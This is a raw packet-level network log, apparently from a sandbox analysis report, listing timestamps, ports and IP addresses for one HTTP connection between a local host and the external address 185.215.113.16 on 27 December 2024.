Dec 27, 2024 09:13:05.988418102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.988464117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.989259005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.989368916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.989854097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.990231991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.990374088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.991319895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.991389990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.991538048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.991585016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.992372990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.038110018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.038172960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.038187027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.038702965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.038714886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.038759947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.038774967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.038813114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.039715052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.075395107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.075452089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.075503111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.075908899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.075947046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.075984001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.076598883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.076638937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.076738119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.077769995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.077785969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.077821016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.078820944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.078871965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.078994989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.079819918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.079833984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.079876900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.080945015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.081010103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.081136942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.081948042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.082081079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.082133055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.083050966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.083115101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.083163977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.084100008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.084152937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.084178925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.085155964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.085274935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.085351944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.086199045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.086308002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.086385012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.087292910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.087308884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.087347031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.088449955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.088464975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.088494062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.113229990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.113326073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.113358974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.113925934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.113940001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.113991022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.114923954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.114948034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.115046024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.115900993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.115948915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.116033077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.116965055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.117014885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.162904024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.163022995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.163072109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.163423061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.163569927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.163613081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.163626909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.164572954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.164613008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.209680080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.209697962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.209768057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.210144997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.210182905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.210223913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.211216927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.211349010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.211389065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.212270021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.212383032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.212421894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.213264942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.213356972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.213387966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.214327097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.214447021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.214483023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.215384007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.215533018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.215569973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.216491938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.216598034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.216634989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.218126059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.218139887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.218184948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.218980074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.218993902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.219053030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.220077991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.220091105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.220139980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.220705032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.220820904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.220864058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.221771955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.222050905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.222095966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.222836018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.223241091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.223285913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.238578081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.238593102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.238687038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.238908052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.239068031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.239113092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.240125895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.240236044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.240278006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.241049051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.241219997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.241257906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.242170095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.287977934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.288047075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.288075924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.288434029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.288499117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.288575888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.288667917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.288728952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.289622068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.334707975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.334758043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.334815979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.335248947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.335294962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.335346937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.335824966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.335884094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.335956097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.336908102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.336965084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.337030888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.338016033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.338063955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.338232040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.339159012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.339210987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.339225054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.340096951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.340142965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.340204954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.341173887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.341219902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.341304064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.342223883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.342264891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.342448950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.343286037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.343328953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.343379974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.344388008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.344436884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.344476938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.345432997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.345499992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.345597982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.346525908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.346569061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.346581936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.347702980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.347748995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.347901106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.348632097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.348678112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.364084959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.364099026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.364161968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.364278078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.364411116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.364459991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.365367889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.365544081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.365588903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.366416931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.366592884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.366633892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.367506981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.413580894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.413599968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.413650036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.414047956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.414062023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.414102077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.415031910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.415046930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.415128946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.428854942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.460339069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.460387945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.460483074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.460742950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.460755110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.460798025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.461731911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.461745977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.461780071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.462522030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.462572098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.462697983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.464219093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.464243889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.464278936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.465331078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.465344906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.465378046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.466284990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.466312885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.466335058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.466878891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.466923952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.467087030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.468379021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.468394041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.468425989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.470619917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.470664978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.470757961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.471191883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.471204042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.471229076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.471615076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.471626997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.471659899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.472213030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.472224951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.472248077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.488413095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.488466978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.488477945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.488895893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.488939047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.488995075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.489028931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.489062071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.489765882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.489988089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.490025043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.491166115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.491353035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.491394997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.493932009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.493946075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.493958950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.493987083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.538249016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.538315058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.538342953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.538678885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.538737059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.538827896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.541604996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.541676044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.541874886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.542073011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.542110920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.581553936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.585244894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.585259914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.585330963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.585805893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.585819006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.585863113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.586558104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.586733103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.586776972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.588730097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.588917971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.588960886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.589631081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.589643955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.589684963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.589884996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.590120077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.590190887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.591001034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.591068983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.591121912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.592211962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.592225075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.592267990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.593216896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.593229055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.593272924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.594180107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.594192028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.594230890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.595170975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.595182896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.595228910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.596358061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.596370935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.596406937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.597341061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.597515106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.597560883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.614854097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.615006924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.615057945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.615158081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.615323067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.615364075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.616153002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.616326094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.616379023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.617312908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.617326021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.617366076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.619116068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.619287968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.619328022 CET	49743	80	192.168.2.4	185.215.113.16
